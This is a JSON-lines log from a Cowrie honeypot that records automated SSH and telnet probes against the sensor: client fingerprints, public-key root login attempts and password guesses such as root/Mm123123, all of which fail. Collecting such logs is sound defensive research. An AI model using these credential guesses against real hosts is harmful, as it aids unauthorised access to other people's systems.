{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:25.475376Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:25.717278Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:87:07:15:a2:d3:b1:c5:31:61:64:f7:a7:74:9f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQ1FlDE5xhplnVt9SltQh/TH5OOTgOt66xATn0x84M8Ith95DUbXyMydB1MzQug3JqGL9SJGWLN+QSq0nrPE5QWMg8zIZ0NekydnzDbRCa1ltSE53PRW/JHxABoIE51rD3wnOjT87Hfyezf5q6RRZHXb0He8je+ch1s6WPKPQhMgWBLMg6g3gfDCNYdPxFS/37We3HXjLGK8OPAhpHQ4qYGqP99i61leSItuIi9p51FoVPhkGYpE9z0fosXeQrBzUqXwMCSBdwYjyUzDaMZaSaYCUR4wrDHEEXrQmHHjLFaF0213yWgZFAv+bwnz3DDZ/6T6WhO+AfzX4kTNegzWl7sgmbu0mpPbtdEXxVESeRiC4p9xjuj6UaDinRo7F//VSUd3RxW9kQLX3KfhydqyamzN/R3HoYTep/w9x7R0sk0xst3i61rvWBb3q4WoJN+LPxXYSjeR91OOWTw1AKrCCk27DGgpFb+9QDr2mo6uyGbe4jL2wmSMhYnUkwgbmMijD9+ZbRQB9HlkT9Ukbv+vL71Egh0trmx8q0C++Ck4JeZB2jtKUNEGDbeOmZfAfdwqwpN7fAckLsixnn38fS8rW0IaSjrZDMHhzAFgPknZYQa+iLhuVPnASPiA09fgG1lrmq3HugFro1Gwxcek02VreMAG7zRGce6zeSMZcOkzRaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:87:07:15:a2:d3:b1:c5:31:61:64:f7:a7:74:9f:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:26.906122Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:87:07:15:a2:d3:b1:c5:31:61:64:f7:a7:74:9f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQ1FlDE5xhplnVt9SltQh/TH5OOTgOt66xATn0x84M8Ith95DUbXyMydB1MzQug3JqGL9SJGWLN+QSq0nrPE5QWMg8zIZ0NekydnzDbRCa1ltSE53PRW/JHxABoIE51rD3wnOjT87Hfyezf5q6RRZHXb0He8je+ch1s6WPKPQhMgWBLMg6g3gfDCNYdPxFS/37We3HXjLGK8OPAhpHQ4qYGqP99i61leSItuIi9p51FoVPhkGYpE9z0fosXeQrBzUqXwMCSBdwYjyUzDaMZaSaYCUR4wrDHEEXrQmHHjLFaF0213yWgZFAv+bwnz3DDZ/6T6WhO+AfzX4kTNegzWl7sgmbu0mpPbtdEXxVESeRiC4p9xjuj6UaDinRo7F//VSUd3RxW9kQLX3KfhydqyamzN/R3HoYTep/w9x7R0sk0xst3i61rvWBb3q4WoJN+LPxXYSjeR91OOWTw1AKrCCk27DGgpFb+9QDr2mo6uyGbe4jL2wmSMhYnUkwgbmMijD9+ZbRQB9HlkT9Ukbv+vL71Egh0trmx8q0C++Ck4JeZB2jtKUNEGDbeOmZfAfdwqwpN7fAckLsixnn38fS8rW0IaSjrZDMHhzAFgPknZYQa+iLhuVPnASPiA09fgG1lrmq3HugFro1Gwxcek02VreMAG7zRGce6zeSMZcOkzRaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:26.925807Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:0a:e0:8b:cc:b6:c3:ad:9e:55:ab:a7:9e:d5:64:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+AYI50yZRXNUZZR2mUcWyGeoCTlV62IYqQBeglg4kFoWnSz9hszQP97EiOSpYF6f9jKPv0cAsafnNC+nXpl8QnqtULQBqpVjGEefnRMYrscnte3O1Uw+VF5YDF3lIVe8Xyvswvg3a338AKlKewC5ENfIb6323WAXAZlsUS89Zgq3LXn5yHs1e7fgqFsSrU+MrXhkxYEJv68M4mClyooB3Jz0DYAnZGWgsGMvuMcDMFzIBZUjKBiCM0Ymx5XMPz2aU/kvMm5/Q9BZVI3X6g0mxGO4IujYksWhmzcj24IwnPDJnuYx7AqGFmTchDQKJw30yvc5eGb/0P9qCgGwfGsii9jUGGylZudZI0sNdJMgGGPbdb6XQA9ACu3SxIe1z+r9JcMDVkQoNY1W+6jyDNztNj5JUs7jU3mhczCaazYP/XbO70yI6AYCdzvp5/TsYaNYRTzTKwJqLbeEpcvdFZG1jLCPbHsArC/Sl44/oRSU3/X2fdvr9aglRN4C8BWNQW5gvh50SshQRuYky8nVm4HYSik+TXvXXaP7OlhrWcUjiYmOqG4wDTWu25yP5T5kSk2+luR1+ZEHkdQcm2FLMe3ATcDgg32aLqn39lpO39UTRF5OJngR5rLoxG/Vw3z+NYow+Fz47/5R01v0ygH38PSgieHQkV3AqTEXI4DEppaO3bQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:0a:e0:8b:cc:b6:c3:ad:9e:55:ab:a7:9e:d5:64:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.169758Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:0a:e0:8b:cc:b6:c3:ad:9e:55:ab:a7:9e:d5:64:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+AYI50yZRXNUZZR2mUcWyGeoCTlV62IYqQBeglg4kFoWnSz9hszQP97EiOSpYF6f9jKPv0cAsafnNC+nXpl8QnqtULQBqpVjGEefnRMYrscnte3O1Uw+VF5YDF3lIVe8Xyvswvg3a338AKlKewC5ENfIb6323WAXAZlsUS89Zgq3LXn5yHs1e7fgqFsSrU+MrXhkxYEJv68M4mClyooB3Jz0DYAnZGWgsGMvuMcDMFzIBZUjKBiCM0Ymx5XMPz2aU/kvMm5/Q9BZVI3X6g0mxGO4IujYksWhmzcj24IwnPDJnuYx7AqGFmTchDQKJw30yvc5eGb/0P9qCgGwfGsii9jUGGylZudZI0sNdJMgGGPbdb6XQA9ACu3SxIe1z+r9JcMDVkQoNY1W+6jyDNztNj5JUs7jU3mhczCaazYP/XbO70yI6AYCdzvp5/TsYaNYRTzTKwJqLbeEpcvdFZG1jLCPbHsArC/Sl44/oRSU3/X2fdvr9aglRN4C8BWNQW5gvh50SshQRuYky8nVm4HYSik+TXvXXaP7OlhrWcUjiYmOqG4wDTWu25yP5T5kSk2+luR1+ZEHkdQcm2FLMe3ATcDgg32aLqn39lpO39UTRF5OJngR5rLoxG/Vw3z+NYow+Fz47/5R01v0ygH38PSgieHQkV3AqTEXI4DEppaO3bQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.173916Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:5b:05:c5:35:1e:56:56:7d:a3:7a:d9:8b:27:88:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVGJicJVYoOWJBhNXiKS7irhNm4jfNpTlqWH/v41AvHCR+6VTpYhS+3UzLxwxP5i3IV9Y3W7Bks7RRnt1puX5E/X3N2WvCY66pbaMKGEm41Ei+klkrNQvqFDRxUztwAdYUfPsg19y+mXmvKcY74aky5QwHSEwhGgDZm8R2DrrWdFgJ4kx8i4m9zC7bVTBZ2PGnI9LzBI1+g3fC+JG/DWXoevxXTI66OxNWlj6RicpaNprNZR6yuO/DOrv4RowRhDscI1LQcxkeJpK+TvZUfUJCwjUI7deXDCi7nFLNRwD4U2cht2+RQbayaS0d7349plCbhDphyzOZe/kn7VCB7GYpjENZI9RB+TwLflViZhsYgFCxZphGPWNOhPT1NNyFf6dH1zlAVgnIk4+S3d4emvQ1970BtKy7CJ/Qd4hpc2Ml00QyZCNemttyONrddevCBsnVJAGo74Fx8jBFY/30Jao1rxsDWPnsuTs03G0tP/jgHDDAfytGl2Fy8JAy3TWKAVoS2UuYItznx7AJTnGANZ+lz1R+gRWN+jbyvqyMgoHef6j2vAaIn4Qo43yKvU8Md0Fo4yAyV/5OM/UP4O/oKQL9tZdtNOTOCfDSDw5v1hrpXJbpqSdLYjNufsCtMYh49eJuRwmsYVHs161PZhOQBgqlZm6q9uV3lgWKFHq+vmaf/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:5b:05:c5:35:1e:56:56:7d:a3:7a:d9:8b:27:88:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.418581Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:5b:05:c5:35:1e:56:56:7d:a3:7a:d9:8b:27:88:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVGJicJVYoOWJBhNXiKS7irhNm4jfNpTlqWH/v41AvHCR+6VTpYhS+3UzLxwxP5i3IV9Y3W7Bks7RRnt1puX5E/X3N2WvCY66pbaMKGEm41Ei+klkrNQvqFDRxUztwAdYUfPsg19y+mXmvKcY74aky5QwHSEwhGgDZm8R2DrrWdFgJ4kx8i4m9zC7bVTBZ2PGnI9LzBI1+g3fC+JG/DWXoevxXTI66OxNWlj6RicpaNprNZR6yuO/DOrv4RowRhDscI1LQcxkeJpK+TvZUfUJCwjUI7deXDCi7nFLNRwD4U2cht2+RQbayaS0d7349plCbhDphyzOZe/kn7VCB7GYpjENZI9RB+TwLflViZhsYgFCxZphGPWNOhPT1NNyFf6dH1zlAVgnIk4+S3d4emvQ1970BtKy7CJ/Qd4hpc2Ml00QyZCNemttyONrddevCBsnVJAGo74Fx8jBFY/30Jao1rxsDWPnsuTs03G0tP/jgHDDAfytGl2Fy8JAy3TWKAVoS2UuYItznx7AJTnGANZ+lz1R+gRWN+jbyvqyMgoHef6j2vAaIn4Qo43yKvU8Md0Fo4yAyV/5OM/UP4O/oKQL9tZdtNOTOCfDSDw5v1hrpXJbpqSdLYjNufsCtMYh49eJuRwmsYVHs161PZhOQBgqlZm6q9uV3lgWKFHq+vmaf/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.422588Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:72:72:e4:d5:9b:9b:f4:9e:64:11:ef:83:9a:a5:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTgYiew9jNpntAapAq14Qta8sxBGdZFCFZaQP38dhlZE4ximbT50wuQGvKCNkJdZdTSruUC7JYcUDcFw0MgRSju2qVyuCymYN/2OPpkVH7NFXF2J2k/fOIElK28hz3BNi78G/QOgT/m3fmann6XtWoFfAdktwhmo0gB8PB795y2mJXb6juQBf4YHJmF58ATIyWSSyu6i/xeJGfNeFgwOL3/UGGBLUM/80Rv/ZM8EziNXIkwXbXwZOiwIOjAiW/Ns/+NBghJaVWPz3tbjmGHaWN0cebFjzw4A8/2x1qED/0tcqtGAJ6a5aATpFBzrqNZvok+JRd1YKYgNqkokFgw54EmWPo1E0ofe1qoteeF/o6LQsDEw3Y6MiFwX9JeiMirhJ78SDckAw8ujzKC/xIZWriQH+VS9sPKxKIdwIxFaoV1mYUWM3iN+wCdUsVnquYxrEA/FztbyNHhlEGs9IDcoNnqJgWiFrJRL8E5xDwIwCBxNCv15OJZe9R59nZoqgxgE3aa4aHnNz22m2ADTMTWXiFYnxhpuWsXhpNNo5ys2Fb96HAsmTkc9GO5szFBYakcjiX/QKfhOnyPStt/EO4R+taXbrEpLNNFQX4rXkw38V6ftPi1fq3uqR4Ho7GtA0BId2jr0kjDAIj4cdbz+dWdeW+zv/yUStojoJAPYgjeIKnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:72:72:e4:d5:9b:9b:f4:9e:64:11:ef:83:9a:a5:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.668960Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:72:72:e4:d5:9b:9b:f4:9e:64:11:ef:83:9a:a5:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTTgYiew9jNpntAapAq14Qta8sxBGdZFCFZaQP38dhlZE4ximbT50wuQGvKCNkJdZdTSruUC7JYcUDcFw0MgRSju2qVyuCymYN/2OPpkVH7NFXF2J2k/fOIElK28hz3BNi78G/QOgT/m3fmann6XtWoFfAdktwhmo0gB8PB795y2mJXb6juQBf4YHJmF58ATIyWSSyu6i/xeJGfNeFgwOL3/UGGBLUM/80Rv/ZM8EziNXIkwXbXwZOiwIOjAiW/Ns/+NBghJaVWPz3tbjmGHaWN0cebFjzw4A8/2x1qED/0tcqtGAJ6a5aATpFBzrqNZvok+JRd1YKYgNqkokFgw54EmWPo1E0ofe1qoteeF/o6LQsDEw3Y6MiFwX9JeiMirhJ78SDckAw8ujzKC/xIZWriQH+VS9sPKxKIdwIxFaoV1mYUWM3iN+wCdUsVnquYxrEA/FztbyNHhlEGs9IDcoNnqJgWiFrJRL8E5xDwIwCBxNCv15OJZe9R59nZoqgxgE3aa4aHnNz22m2ADTMTWXiFYnxhpuWsXhpNNo5ys2Fb96HAsmTkc9GO5szFBYakcjiX/QKfhOnyPStt/EO4R+taXbrEpLNNFQX4rXkw38V6ftPi1fq3uqR4Ho7GtA0BId2jr0kjDAIj4cdbz+dWdeW+zv/yUStojoJAPYgjeIKnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.673090Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":54736,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b5cc817430","protocol":"telnet","message":"New connection: 213.108.3.46:54736 (10.17.0.5:23) [session: b1b5cc817430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.710944Z"}
{"eventid":"cowrie.session.closed","duration":0.013778924942016602,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.724621Z","src_ip":"213.108.3.46","session":"b1b5cc817430","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:4f:84:4d:30:0d:15:ef:0b:9d:8d:5b:6b:04:6a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8g/0NzCKJPza/AGT4/OLLAn5FvLC61xh55gg7bWN54imQk1pQZvy2AQMZcx0A7s0eHOqjrnzc0iYsoRqdMHunTMLvcvl1OWXu0v0NIfd5+aqoGiI4pb8rd00RWNFegqzReGbafg5bf4L+pGLm47z8pQdfCraWIcFGNU+g4OrlNpOKWxgNG/0lsqaay+uHCnpjl6EmKQ0fCT6fJrnAqJCcpC8qAhhSosQDvUEuf/O57ExYRVtQZ6ZFlQkOIqGHv2GU5VvJ4IXqaZRVljqCH3gDfI3dU+nVbIm+/1qKWf8NDoDmEnbZhiSWnWKWvu7BggvcG2rxI1qGzG3CGkRbbUjrS+PBaNWhHw8H5s5FEjRhX9vtG9X+v8Dzpqp0MtSN4QXL37dm4kZSJPY2ny9NawSy89D+CBXzemSnvFnzKyu1ljoovaz314IpPa3jUbIyR+MXjd/HvzEljt75PQFTCUjoGywoiX8f7IAsgQsQqm2TkJ5o/iNbW5SMnwL35Xy9doM5xK3Bbi3NG/US08/Zp1Rceri9JDG5wFjVREZaAYAkE2lNwv8Fyra2Yk1Pw887vbRGO9dy1ztqNlZnprQkYU84QDf5ASrBwmllEOyEn1RSLIyemFXT5HmSxoi3dapdXbMCUC/uk5oE0pf+vWfUifptqFxU/+HHzUnJUPQDaqJZgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:4f:84:4d:30:0d:15:ef:0b:9d:8d:5b:6b:04:6a:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.917463Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:4f:84:4d:30:0d:15:ef:0b:9d:8d:5b:6b:04:6a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8g/0NzCKJPza/AGT4/OLLAn5FvLC61xh55gg7bWN54imQk1pQZvy2AQMZcx0A7s0eHOqjrnzc0iYsoRqdMHunTMLvcvl1OWXu0v0NIfd5+aqoGiI4pb8rd00RWNFegqzReGbafg5bf4L+pGLm47z8pQdfCraWIcFGNU+g4OrlNpOKWxgNG/0lsqaay+uHCnpjl6EmKQ0fCT6fJrnAqJCcpC8qAhhSosQDvUEuf/O57ExYRVtQZ6ZFlQkOIqGHv2GU5VvJ4IXqaZRVljqCH3gDfI3dU+nVbIm+/1qKWf8NDoDmEnbZhiSWnWKWvu7BggvcG2rxI1qGzG3CGkRbbUjrS+PBaNWhHw8H5s5FEjRhX9vtG9X+v8Dzpqp0MtSN4QXL37dm4kZSJPY2ny9NawSy89D+CBXzemSnvFnzKyu1ljoovaz314IpPa3jUbIyR+MXjd/HvzEljt75PQFTCUjoGywoiX8f7IAsgQsQqm2TkJ5o/iNbW5SMnwL35Xy9doM5xK3Bbi3NG/US08/Zp1Rceri9JDG5wFjVREZaAYAkE2lNwv8Fyra2Yk1Pw887vbRGO9dy1ztqNlZnprQkYU84QDf5ASrBwmllEOyEn1RSLIyemFXT5HmSxoi3dapdXbMCUC/uk5oE0pf+vWfUifptqFxU/+HHzUnJUPQDaqJZgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:27.922284Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:28.169436Z","src_ip":"5.223.67.133","session":"de221968e8b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":57532,"dst_ip":"159.203.135.109","dst_port":22,"session":"41df11663a5c","protocol":"ssh","message":"New connection: 43.130.29.69:57532 (159.203.135.109:22) [session: 41df11663a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:55.806623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:55.811727Z","src_ip":"43.130.29.69","session":"41df11663a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:55.881108Z","src_ip":"43.130.29.69","session":"41df11663a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123123","message":"login attempt [root/Mm123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:56.190574Z","src_ip":"43.130.29.69","session":"41df11663a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:57.262672Z","src_ip":"43.130.29.69","session":"41df11663a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58284,"dst_ip":"10.17.0.5","dst_port":22,"session":"9080fe01305b","protocol":"ssh","message":"New connection: 80.94.92.184:58284 (10.17.0.5:22) [session: 9080fe01305b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:13.981733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:14.166447Z","src_ip":"80.94.92.184","session":"9080fe01305b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:14.170230Z","src_ip":"80.94.92.184","session":"9080fe01305b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:15.495178Z","src_ip":"80.94.92.184","session":"9080fe01305b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36822,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bbc5ff4e36d","protocol":"ssh","message":"New connection: 193.37.70.224:36822 (10.17.0.5:22) [session: 4bbc5ff4e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:26:16.062706Z"}
